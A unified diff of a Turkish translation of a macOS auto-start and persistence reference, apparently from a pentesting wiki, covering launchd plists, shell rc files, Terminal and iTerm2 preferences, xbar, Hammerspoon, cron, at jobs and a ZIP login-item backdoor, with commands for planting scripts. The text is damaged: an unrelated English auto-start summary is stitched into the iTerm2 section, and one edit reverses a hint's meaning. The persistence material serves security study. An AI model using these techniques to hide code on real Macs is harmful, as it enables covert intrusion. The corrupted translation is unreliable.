-**`launchd`**, başlangıçta OX S çekirdeği tarafından çalıştırılan **ilk işlem** ve kapanırken sonuncusudur. Her zaman **PID 1**'e sahip olmalıdır. Bu işlem, **ASEP** **plistlerinde** belirtilen yapılandırmaları **okuyacak ve yürütecek**:
+**`launchd`**, başlangıçta OX S çekirdeği tarafından yürütülen **ilk işlem** ve kapanırken sonuncusudur. Her zaman **PID 1**'e sahip olmalıdır. Bu işlem, **ASEP** **plistlerinde** belirtilen yapılandırmaları **okuyacak ve yürütecek**:
* `/Library/LaunchAgents`: Yönetici tarafından yüklenen kullanıcı başına ajanlar
-* `/Library/LaunchDaemons`: Yönetici tarafından yüklenen sistem genelindeki daemonlar
+* `/Library/LaunchDaemons`: Yönetici tarafından yüklenen sistem genelinde hizmetler
* `/System/Library/LaunchAgents`: Apple tarafından sağlanan kullanıcı başına ajanlar.
-* `/System/Library/LaunchDaemons`: Apple tarafından sağlanan sistem genelindeki daemonlar.
+* `/System/Library/LaunchDaemons`: Apple tarafından sağlanan sistem genelinde hizmetler.
Bir kullanıcı oturum açtığında, `/Users/$USER/Library/LaunchAgents` ve `/Users/$USER/Library/LaunchDemons` konumlarındaki plist'ler **oturum açan kullanıcı izinleriyle** başlatılır.
-**Ajanlar ve daemonlar arasındaki temel fark, ajanların kullanıcı oturum açtığında yüklenmesi ve daemonların sistem başlatıldığında yüklenmesidir** (çünkü ssh gibi hizmetlerin, herhangi bir kullanıcının sisteme erişmeden önce çalıştırılması gerekmektedir). Ayrıca ajanlar GUI kullanabilirken, daemonlar arka planda çalışmalıdır.
+**Ajanlar ve hizmetler arasındaki temel fark, ajanların kullanıcı oturum açtığında yüklenmesi ve hizmetlerin sistem başlatıldığında yüklenmesidir** (çünkü ssh gibi hizmetlerin, herhangi bir kullanıcının sisteme erişmeden önce yürütülmesi gerekmektedir). Ayrıca ajanlar GUI kullanabilirken, hizmetler arka planda çalışmalıdır.
```xml
@@ -80,13 +80,13 @@ Bir kullanıcı oturum açtığında, `/Users/$USER/Library/LaunchAgents` ve `/U
```
-**Kullanıcı oturum açmadan önce bir ajanın çalıştırılması gereken durumlar** bulunmaktadır, bunlara **PreLoginAgents** denir. Örneğin, bu, oturum açma sırasında destekleyici teknoloji sağlamak için kullanışlıdır. Bunlar ayrıca `/Library/LaunchAgents` dizininde de bulunabilir (bir örnek için [**buraya**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) bakın).
+Bazı durumlarda, **kullanıcı oturum açmadan önce bir ajanın çalıştırılması gerekebilir**, bunlara **PreLoginAgents** denir. Örneğin, bu, oturum açılırken destekleyici teknoloji sağlamak için kullanışlıdır. Bunlar ayrıca `/Library/LaunchAgents` dizininde de bulunabilir (bir örnek için [**buraya**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) bakın).
{% hint style="info" %}
-Yeni Daemon'lar veya Ajan'lar yapılandırma dosyaları **bir sonraki yeniden başlatmadan sonra veya** `launchctl load ` **kullanılarak yüklenecektir**. Ayrıca, `.plist` uzantısız dosyaları `launchctl -F ` ile yüklemek de mümkündür (ancak bu plist dosyaları otomatik olarak yeniden başlatma sonrasında yüklenmeyecektir).\
-`launchctl unload ` ile **yüklemeyi kaldırmak** da mümkündür (bu işaret ettiği işlem sonlandırılacaktır).
+Yeni Daemon veya Ajan yapılandırma dosyaları, **bir sonraki yeniden başlatmadan sonra veya** `launchctl load ` **kullanılarak yüklenecektir**. Ayrıca, `.plist` uzantısız dosyaları da `launchctl -F ` ile yüklemek mümkündür (ancak bu plist dosyaları otomatik olarak yeniden başlatmadan sonra yüklenmeyecektir).\
+`launchctl unload ` ile **boşaltmak** da mümkündür (bu işaret ettiği işlem sonlandırılacaktır).
-Bir **Ajanın** veya **Daemon'ın** **çalışmasını engelleyen** bir **geçersiz kılma gibi bir şeyin olmadığından emin olmak** için şunu çalıştırın: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
+Bir **Ajanın** veya **Daemon'ın** **çalışmasını engelleyen** bir **geçersiz kılma** gibi **herhangi bir şeyin olmadığından emin olmak için** şunu çalıştırın: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
{% endhint %}
Mevcut kullanıcı tarafından yüklenen tüm ajanları ve daemonları listele:
@@ -94,7 +94,7 @@ Mevcut kullanıcı tarafından yüklenen tüm ajanları ve daemonları listele:
launchctl list
```
{% hint style="warning" %}
-Eğer bir plist dosyası bir kullanıcıya aitse, hatta daemon sistem genelindeki klasörlerde olsa bile, **görev kullanıcı olarak** ve root olarak değil çalıştırılacaktır. Bu bazı ayrıcalık yükseltme saldırılarını engelleyebilir.
+Eğer bir plist dosyası bir kullanıcıya aitse, hatta daemon sistem genelindeki klasörlerde olsa bile, **görev kullanıcı olarak** ve kök olarak değil yürütülecektir. Bu bazı ayrıcalık yükseltme saldırılarını önleyebilir.
{% endhint %}
### kabuk başlangıç dosyaları
@@ -104,29 +104,29 @@ Açıklama (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://
* Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button)
* TCC Atlatma: [✅](https://emojipedia.org/check-mark-button)
-* Ancak bu dosyaları yükleyen bir kabuk çalıştıran TCC atlatması olan bir uygulama bulmanız gerekmektedir
+* Ancak bu dosyaları yükleyen bir kabuk yürüten TCC atlatması olan bir uygulama bulmanız gerekmektedir
#### Konumlar
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`**
-* **Tetikleyici**: zsh ile bir terminal açın
+* **Tetikleyici**: zsh ile bir terminal aç
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
-* **Tetikleyici**: zsh ile bir terminal açın
-* Root gereklidir
+* **Tetikleyici**: zsh ile bir terminal aç
+* Kök gereklidir
* **`~/.zlogout`**
-* **Tetikleyici**: zsh ile bir terminali kapatın
+* **Tetikleyici**: zsh ile bir terminali kapat
* **`/etc/zlogout`**
-* **Tetikleyici**: zsh ile bir terminali kapatın
-* Root gereklidir
+* **Tetikleyici**: zsh ile bir terminali kapat
+* Kök gereklidir
* Muhtemelen daha fazlası: **`man zsh`**
* **`~/.bashrc`**
-* **Tetikleyici**: bash ile bir terminal açın
+* **Tetikleyici**: bash ile bir terminal aç
* `/etc/profile` (çalışmadı)
* `~/.profile` (çalışmadı)
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
* **Tetikleyici**: xterm ile tetiklenmesi beklenir, ancak **kurulu değil** ve kurulduktan sonra bile bu hata alınır: xterm: `DISPLAY is not set`
-#### Açıklama & Sömürü
+#### Açıklama ve Sömürü
`zsh` veya `bash` gibi bir kabuk ortamı başlatıldığında, **belirli başlangıç dosyaları çalıştırılır**. macOS şu anda varsayılan kabuk olarak `/bin/zsh` kullanmaktadır. Bu kabuk, Terminal uygulaması başlatıldığında veya bir cihaz SSH ile erişildiğinde otomatik olarak erişilir. macOS'ta ayrıca `bash` ve `sh` de bulunmaktadır, ancak kullanılmak için açıkça çağrılması gerekmektedir.
@@ -149,13 +149,13 @@ Belirtilen açığı yapılandırmak ve oturumu kapatıp açmak veya hatta yenid
#### Konum
* **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`**
-* **Tetikleyici**: Uygulamaları tekrar açma işlemi yeniden başlatılır
+* **Tetikleyici**: Uygulamaları yeniden açma işlemi
#### Açıklama ve Sömürü
Yeniden açılacak tüm uygulamalar, `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` plist dosyasının içindedir.
-Bu nedenle, yeniden açılacak uygulamalar arasına kendi uygulamanızı eklemek için sadece **uygulamanızı listeye eklemeniz yeterlidir**.
+Bu nedenle, yeniden açılacak uygulamalar arasına kendi uygulamanızı eklemek için **uygulamanızı listeye eklemeniz yeterlidir**.
UUID, bu dizini listelerken veya `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` komutu ile bulunabilir.
@@ -188,7 +188,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist
#### Açıklama ve Sömürü
-**`~/Library/Preferences`** içerisinde, Kullanıcı Tercihleri Uygulamaların tercihlerini saklar. Bu tercihlerden bazıları, **diğer uygulamalar/skriptleri çalıştırmak** için bir yapılandırma tutabilir.
+**`~/Library/Preferences`** içerisinde, Kullanıcı Tercihleri Uygulamalarında saklanır. Bu tercihlerin bazıları, **diğer uygulamalar/skriptleri çalıştırmak** için bir yapılandırma tutabilir.
Örneğin, Terminal Başlangıçta bir komutu çalıştırabilir:
@@ -210,7 +210,7 @@ Bu yapılandırma, **`~/Library/Preferences/com.apple.Terminal.plist`** dosyası
}
[...]
```
-Yani, sistemdeki terminal tercihlerinin plist'i üzerine yazılırsa, **`open`** işlevi kullanılarak **terminal açılabilir ve o komut çalıştırılabilir**.
+Yani, sistemdeki terminalin tercihlerinin plist'i üzerine yazılırsa, **`open`** işlevi kullanılarak **terminal açılabilir ve o komut çalıştırılabilir**.
Bunu terminalden şu şekilde ekleyebilirsiniz:
@@ -229,7 +229,7 @@ Bunu terminalden şu şekilde ekleyebilirsiniz:
* Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button)
* TCC atlatma: [✅](https://emojipedia.org/check-mark-button)
-* Terminal, kullanıcının FDA izinlerine sahip olmasını gerektirir.
+* Terminal, kullanıcının FDA izinlerine sahip olmasını gerektirir
#### Konum
@@ -238,7 +238,7 @@ Bunu terminalden şu şekilde ekleyebilirsiniz:
#### Açıklama ve Sömürü
-Eğer bir [**`.terminal`** betiği](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) oluşturursanız ve açarsanız, **Terminal uygulaması** otomatik olarak çağrılacak ve içinde belirtilen komutları çalıştıracaktır. Eğer Terminal uygulamasının özel izinleri varsa (örneğin TCC gibi), komutunuz bu özel izinlerle çalıştırılacaktır.
+Eğer bir [**`.terminal`** betiği](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) oluşturursanız ve açarsanız, **Terminal uygulaması** otomatik olarak açılacak ve içinde belirtilen komutları çalıştırmak için çağrılacaktır. Eğer Terminal uygulamasının özel izinleri varsa (örneğin TCC gibi), komutunuz bu özel izinlerle çalıştırılacaktır.
Denemek için:
```bash
@@ -275,21 +275,21 @@ Açıklama: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https
* Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button)
* TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle)
-* Bazı ek TCC erişimine sahip olabilirsiniz
+* Ek TCC erişimi alabilirsiniz
#### Konum
* **`/Library/Audio/Plug-Ins/HAL`**
-* Kök erişimi gereklidir
-* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatın
+* Root gereklidir
+* **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır
* **`/Library/Audio/Plug-ins/Components`**
-* Kök erişimi gereklidir
-* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatın
+* Root gereklidir
+* **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır
* **`~/Library/Audio/Plug-ins/Components`**
-* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatın
+* **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır
* **`/System/Library/Components`**
-* Kök erişimi gereklidir
-* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatın
+* Root gereklidir
+* **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır
#### Açıklama
@@ -301,7 +301,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilb
* Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button)
* TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle)
-* Bazı ek TCC erişimine sahip olabilirsiniz
+* Ek TCC erişimi alabilirsiniz
#### Konum
@@ -365,7 +365,7 @@ Root kullanıcısı **`/private/var/root/Library/Preferences/com.apple.loginwind
## Koşullu Kum Sandığı Atlatma
{% hint style="success" %}
-Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumlarını bulabilirsiniz, bu da size bir şeyi **bir dosyaya yazarak** ve belirli **programlar yüklü, "sıradışı" kullanıcı** eylemleri veya ortamlar gibi **çok yaygın olmayan koşullar beklemeksizin** basitçe yürütmenizi sağlar.
+Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumlarını bulabilirsiniz, bu da size basitçe bir şeyi **bir dosyaya yazarak** ve belirli **programlar yüklü, "sıradışı" kullanıcı** eylemleri veya ortamlar gibi belirli **yaygın olmayan koşulların** olmasını beklemek anlamına gelir.
{% endhint %}
### Cron
@@ -373,14 +373,14 @@ Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumların
**Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
* Kum sandığını atlamak için yararlı: [✅](https://emojipedia.org/check-mark-button)
-* Ancak, `crontab` ikilisini yürütebilmelisiniz
-* Veya root olmalısınız
+* Ancak, `crontab` ikilisini çalıştırabilmeniz gerekir
+* Veya root olmanız gerekir
* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle)
#### Konum
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
-* Doğrudan yazma erişimi için root gereklidir. `crontab `yı yürütebiliyorsanız root gerekli değildir
+* Doğrudan yazma erişimi için root gereklidir. `crontab `yı çalıştırabilirseniz root gerekli değildir
* **Tetikleyici**: Cron işine bağlıdır
#### Açıklama ve Sömürü
@@ -389,14 +389,14 @@ Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumların
```bash
crontab -l
```
-MacOS'ta, kullanıcıların tüm cron işlerini **`/usr/lib/cron/tabs/`** ve **`/var/at/tabs/`** dizinlerinde görebilirsiniz (root izni gerektirir).
+MacOS'ta, **`/usr/lib/cron/tabs/`** ve **`/var/at/tabs/`** (root gerektirir) dizinlerinde kullanıcıların tüm cron işlerini görebilirsiniz.
MacOS'ta, belirli bir sıklıkla betikleri çalıştıran birkaç klasör bulunabilir:
```bash
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
-Burada düzenli **cron işleri**, **at işleri** (pek kullanılmaz) ve **periyodik işler** (genellikle geçici dosyaları temizlemek için kullanılır) bulabilirsiniz. Günlük periyodik işler örneğin şu şekilde yürütülebilir: `periodic daily`.
+Burada düzenli **cron işleri**, **at işleri** (pek kullanılmaz) ve **periyodik işler** (genellikle geçici dosyaları temizlemek için kullanılır) bulabilirsiniz. Günlük periyodik işler örneğin şu şekilde çalıştırılabilir: `periodic daily`.
**Kullanıcı cron işi programatik olarak eklemek** için şu kullanılabilir:
```bash
@@ -414,15 +414,15 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilb
#### Konumlar
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
-* **Tetikleyici**: iTerm açılınca
+* **Tetikleyici**: iTerm aç
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
-* **Tetikleyici**: iTerm açılınca
+* **Tetikleyici**: iTerm aç
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
-* **Tetikleyici**: iTerm açılınca
+* **Tetikleyici**: iTerm aç
#### Açıklama ve Sömürü
-**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** konumunda saklanan betikler çalıştırılacaktır. Örneğin:
+**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** konumunda depolanan betikler çalıştırılacaktır. Örneğin:
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
@@ -431,7 +431,38 @@ EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
-veya:
+## macOS Auto-Start Locations
+
+### Launch Agents
+
+Launch Agents are used to run processes when a user logs in. They are stored in the following locations:
+
+- `/Library/LaunchAgents/`
+- `/System/Library/LaunchAgents/`
+- `/Users/username/Library/LaunchAgents/`
+
+### Launch Daemons
+
+Launch Daemons are used to run processes at system startup. They are stored in the following locations:
+
+- `/Library/LaunchDaemons/`
+- `/System/Library/LaunchDaemons/`
+
+### Login Items
+
+Login Items are applications that open when a user logs in. They can be managed in:
+
+- `System Preferences > Users & Groups > Login Items`
+
+### Startup Items
+
+Startup Items are legacy items that automatically launch when a user logs in. They are stored in:
+
+- `/Library/StartupItems/`
+
+### Cron Jobs
+
+Cron Jobs are scheduled tasks that run at specific times. They can be viewed and managed using the `crontab` command.
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
@@ -456,7 +487,7 @@ do shell script "touch /tmp/iterm2-autolaunchscpt"
Bu ayar, iTerm2 ayarlarında yapılandırılabilir:
-
+
Ve komut tercihlere yansıtılır:
```bash
@@ -468,7 +499,7 @@ plutil -p com.googlecode.iterm2.plist
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
```
-Komutun çalıştırılacağı yeri şu şekilde ayarlayabilirsiniz:
+Komutun çalıştırılacağı şekli ayarlayabilirsiniz:
{% code overflow="wrap" %}
```bash
@@ -484,7 +515,7 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
{% endcode %}
{% hint style="warning" %}
-İTerm2 tercihlerini kötüye kullanmak için **başka yolların** olması muhtemeldir.
+İTerm2 tercihlerini kötüye kullanmak için **başka yolların** yüksek olasılıkla olduğu düşünülmektedir.
{% endhint %}
### xbar
@@ -494,7 +525,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilb
* Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button)
* Ancak xbar yüklü olmalı
* TCC atlatma: [✅](https://emojipedia.org/check-mark-button)
-* Erişilebilirlik izinleri istiyor
+* Erişilebilirlik izni istiyor
#### Konum
@@ -503,7 +534,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilb
#### Açıklama
-Eğer popüler program [**xbar**](https://github.com/matryer/xbar) yüklü ise, xbar başlatıldığında çalıştırılacak bir kabuk betiği **`~/Library/Application\ Support/xbar/plugins/`** dizinine yazılabilir:
+Eğer popüler program [**xbar**](https://github.com/matryer/xbar) yüklü ise, xbar başlatıldığında çalıştırılacak bir kabuk betiği **`~/Library/Application\ Support/xbar/plugins/`** dizininde yazılabilir:
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
@@ -516,9 +547,9 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
**Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
* Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button)
-* Ancak Hammerspoon'un yüklü olması gerekmektedir
+* Ancak Hammerspoon yüklü olmalı
* TCC atlatma: [✅](https://emojipedia.org/check-mark-button)
-* Erişilebilirlik izinleri istenir
+* Erişilebilirlik izinleri istiyor
#### Konum
@@ -527,9 +558,9 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
#### Açıklama
-[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon), işlemleri için **LUA betik dili**ni kullanan **macOS** için bir otomasyon platformu olarak hizmet verir. Özellikle, tam AppleScript kodunun entegrasyonunu destekler ve kabuk betiklerinin yürütülmesini sağlayarak betikleme yeteneklerini önemli ölçüde artırır.
+[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon), işlemleri için **LUA betik dili**ni kullanan bir otomasyon platformu olarak **macOS** için hizmet verir. Özellikle, tam AppleScript kodunun entegrasyonunu destekler ve kabuk betiklerinin yürütülmesini sağlayarak betikleme yeteneklerini önemli ölçüde artırır.
-Uygulama, tek bir dosya olan `~/.hammerspoon/init.lua` dosyasını arar ve başlatıldığında betik yürütülür.
+Uygulama, tek bir dosya olan `~/.hammerspoon/init.lua` dosyasını arar ve betik başlatıldığında yürütülür.
```bash
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
@@ -538,49 +569,49 @@ EOF
```
### BetterTouchTool
-* Kumanda kutusunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button)
-* Ancak BetterTouchTool yüklü olmalı
-* TCC atlaması: [✅](https://emojipedia.org/check-mark-button)
+* Kullanışlıdır çünkü kum havuzunu atlar: [✅](https://emojipedia.org/check-mark-button)
+* Ancak BetterTouchTool yüklü olmalıdır
+* TCC atlatma: [✅](https://emojipedia.org/check-mark-button)
* Otomasyon-Kısayolları ve Erişilebilirlik izinleri istiyor
#### Konum
* `~/Library/Application Support/BetterTouchTool/*`
-Bu araç, bazı kısayollar basıldığında uygulamaları veya betikleri yürütmek için gösterge koymayı sağlar. Bir saldırgan, kendi **kısayolunu ve eylemini yürütmek için veritabanında yapılandırabilir** ve keyfi kodu yürütmesini sağlayabilir (bir kısayol sadece bir tuşa basmak olabilir).
+Bu araç, bazı kısayollar basıldığında uygulamaları veya betikleri yürütmek için gösterge koymayı sağlar. Bir saldırgan, kendi **kısayolunu ve eylemini yürütmek için veritabanında yapılandırabilir** ve keyfi kod yürütebilir (bir kısayol sadece bir tuşa basmak olabilir).
### Alfred
-* Kumanda kutusunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button)
-* Ancak Alfred yüklü olmalı
-* TCC atlaması: [✅](https://emojipedia.org/check-mark-button)
+* Kullanışlıdır çünkü kum havuzunu atlar: [✅](https://emojipedia.org/check-mark-button)
+* Ancak Alfred yüklü olmalıdır
+* TCC atlatma: [✅](https://emojipedia.org/check-mark-button)
* Otomasyon, Erişilebilirlik ve hatta Tam Disk erişimi izinleri istiyor
#### Konum
* `???`
-Belirli koşullar karşılandığında kodu yürütebilen iş akışları oluşturmayı sağlar. Bir saldırganın bir iş akışı dosyası oluşturup Alfred'ın bunu yüklemesini sağlaması potansiyel olarak mümkündür (iş akışlarını kullanmak için premium sürümü kullanmak gereklidir).
+Belirli koşullar karşılandığında kod yürütebilen iş akışları oluşturmayı sağlar. Bir saldırganın bir iş akışı dosyası oluşturup Alfred'ın bunu yüklemesini sağlaması potansiyel olarak mümkündür (iş akışlarını kullanabilmek için premium sürümü kullanmak gereklidir).
### SSHRC
-Yazılım: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
+Açıklama: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
-* Kumanda kutusunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button)
-* Ancak ssh etkinleştirilmiş ve kullanılmış olmalı
-* TCC atlaması: [✅](https://emojipedia.org/check-mark-button)
-* SSH'nin FDA erişimine sahip olması gerekiyor
+* Kullanışlıdır çünkü kum havuzunu atlar: [✅](https://emojipedia.org/check-mark-button)
+* Ancak ssh etkinleştirilmiş ve kullanılmış olmalıdır
+* TCC atlatma: [✅](https://emojipedia.org/check-mark-button)
+* SSH'nin FDA erişimine sahip olması gerekmektedir
#### Konum
* **`~/.ssh/rc`**
-* **Tetikleyici**: ssh üzerinden oturum açma
+* **Tetikleyici**: SSH üzerinden oturum açma
* **`/etc/ssh/sshrc`**
* Root gereklidir
-* **Tetikleyici**: ssh üzerinden oturum açma
+* **Tetikleyici**: SSH üzerinden oturum açma
{% hint style="danger" %}
-Ssh'yi açmak için Tam Disk Erişimi gereklidir:
+SSH'yi açmak için Tam Disk Erişimi gereklidir:
```bash
sudo systemsetup -setremotelogin on
```
@@ -621,29 +652,29 @@ osascript -e 'tell application "System Events" to make login item at end with pr
#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
```
-Bu öğeler dosyada **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** saklanır.
+Bu öğeler **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** dosyasında saklanır.
-**Giriş öğeleri** ayrıca [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) API'si kullanılarak belirtilebilir ve yapılandırma **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** dosyasında saklanacaktır.
+**Giriş öğeleri** ayrıca [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) API'sini kullanarak belirtilebilir, bu da yapılandırmayı **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** dosyasında saklayacaktır.
### ZIP olarak Giriş Öğesi
(Giriş Öğeleri hakkında önceki bölüme bakın, bu bir uzantıdır)
-Eğer bir **ZIP** dosyasını bir **Giriş Öğesi** olarak saklarsanız, **`Archive Utility`** onu açacaktır ve örneğin ZIP dosyası **`~/Library`** içinde saklanmış ve **`LaunchAgents/file.plist`** adlı bir arka kapı içeren bir Klasör içeriyorsa (varsayılan olarak değilse) o klasör oluşturulacak ve plist eklenecektir, böylece kullanıcı bir sonraki oturum açtığında, plist'te belirtilen **arka kapı yürütülecektir**.
+Eğer bir **ZIP** dosyasını bir **Giriş Öğesi** olarak saklarsanız, **`Archive Utility`** onu açacak ve örneğin ZIP dosyası **`~/Library`** içinde saklanmış ve **`LaunchAgents/file.plist`** adlı bir arka kapı içeren bir Klasör içeriyorsa (varsayılan olarak değil), o klasör oluşturulacak ve plist eklenecektir, böylece kullanıcı bir dahaki sefer oturum açtığında, **plist'te belirtilen arka kapı yürütülecektir**.
-Başka bir seçenek, **`.bash_profile`** ve **`.zshenv`** dosyalarını kullanıcı ANA DİZİN içine oluşturmaktır, böylece LaunchAgents klasörü zaten varsa bu teknik yine de çalışacaktır.
+Başka bir seçenek, **`.bash_profile`** ve **`.zshenv`** dosyalarını kullanıcı HOME içine oluşturmaktır, böylece LaunchAgents klasörü zaten varsa bu teknik yine de çalışacaktır.
### At
Açıklama: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
* Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button)
-* Ancak **`at`**'ı **çalıştırmanız** ve **etkinleştirmeniz** gerekmektedir
-* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle)
+* Ancak **`at`**'ı **çalıştırmanız** ve etkin olması **gerekmektedir**
+* TCC atlaması: [🔴](https://emojipedia.org/large-red-circle)
#### Konum
-* **`at`**'ı **çalıştırmanız** ve **etkinleştirmeniz** gerekmektedir
+* **`at`**'ı **çalıştırmanız** ve etkin olması **gerekmektedir**
#### **Açıklama**
@@ -653,17 +684,17 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilb
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
-Bu, 1 saat içinde bir dosya oluşturacak:
+Bu, 1 saat içinde bir dosya oluşturacaktır:
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
-`atq` komutunu kullanarak iş kuyruğunu kontrol edin:
+İş kuyruğunu `atq` kullanarak kontrol edin:
```shell-session
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
-Yukarıda iki zamanlanmış iş görebiliriz. İşi ayrıntılarıyla yazdırmak için `at -c İŞNUMARASI` kullanabiliriz.
+Yukarıda iki zamanlanmış iş görebiliriz. İşin detaylarını `at -c İŞNUMARASI` kullanarak yazdırabiliriz.
```shell-session
sh-3.2# at -c 26
#!/bin/sh
@@ -707,11 +738,11 @@ total 32
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
```
-Dosya adı sırayı, iş numarasını ve çalıştırılacağı zamanı içerir. Örneğin `a0001a019bdcd2`'ye bakalım.
+Dosya adı sırayı, iş numarasını ve çalışma zamanını içerir. Örneğin `a0001a019bdcd2`'ye bakalım.
* `a` - bu kuyruktur
* `0001a` - onaltılık iş numarası, `0x1a = 26`
-* `019bdcd2` - onaltılık zaman. Bu, epoch'tan bu yana geçen dakikaları temsil eder. `0x019bdcd2`, ondalıkta `26991826`'ya denk gelir. 60 ile çarptığımızda `1619509560` elde ederiz, bu da `GMT: 2021 Nisan 27, Salı 7:46:00`'ye denk gelir.
+* `019bdcd2` - onaltılık zaman. Bu, epoch'tan bu yana geçen dakikaları temsil eder. `0x019bdcd2`, ondalık olarak `26991826`'dır. 60 ile çarptığımızda `1619509560` elde ederiz, bu da `GMT: 2021 Nisan 27, Salı 7:46:00`'yi temsil eder.
İş dosyasını yazdırırsak, `at -c` kullanarak elde ettiğimiz bilgileri içerdiğini görürüz.
@@ -721,21 +752,21 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilb
Açıklama: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
* Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button)
-* Ancak **`System Events`** ile iletişim kurabilmek için `osascript`'ı argümanlarla çağırabilmeniz gerekir.
+* Ancak **`System Events`** ile iletişim kurabilmek için `osascript`'i argümanlarla çağırabilmeniz gerekir.
* TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle)
* Masaüstü, Belgeler ve İndirmeler gibi bazı temel TCC izinlerine sahiptir
#### Konum
* **`/Library/Scripts/Folder Action Scripts`**
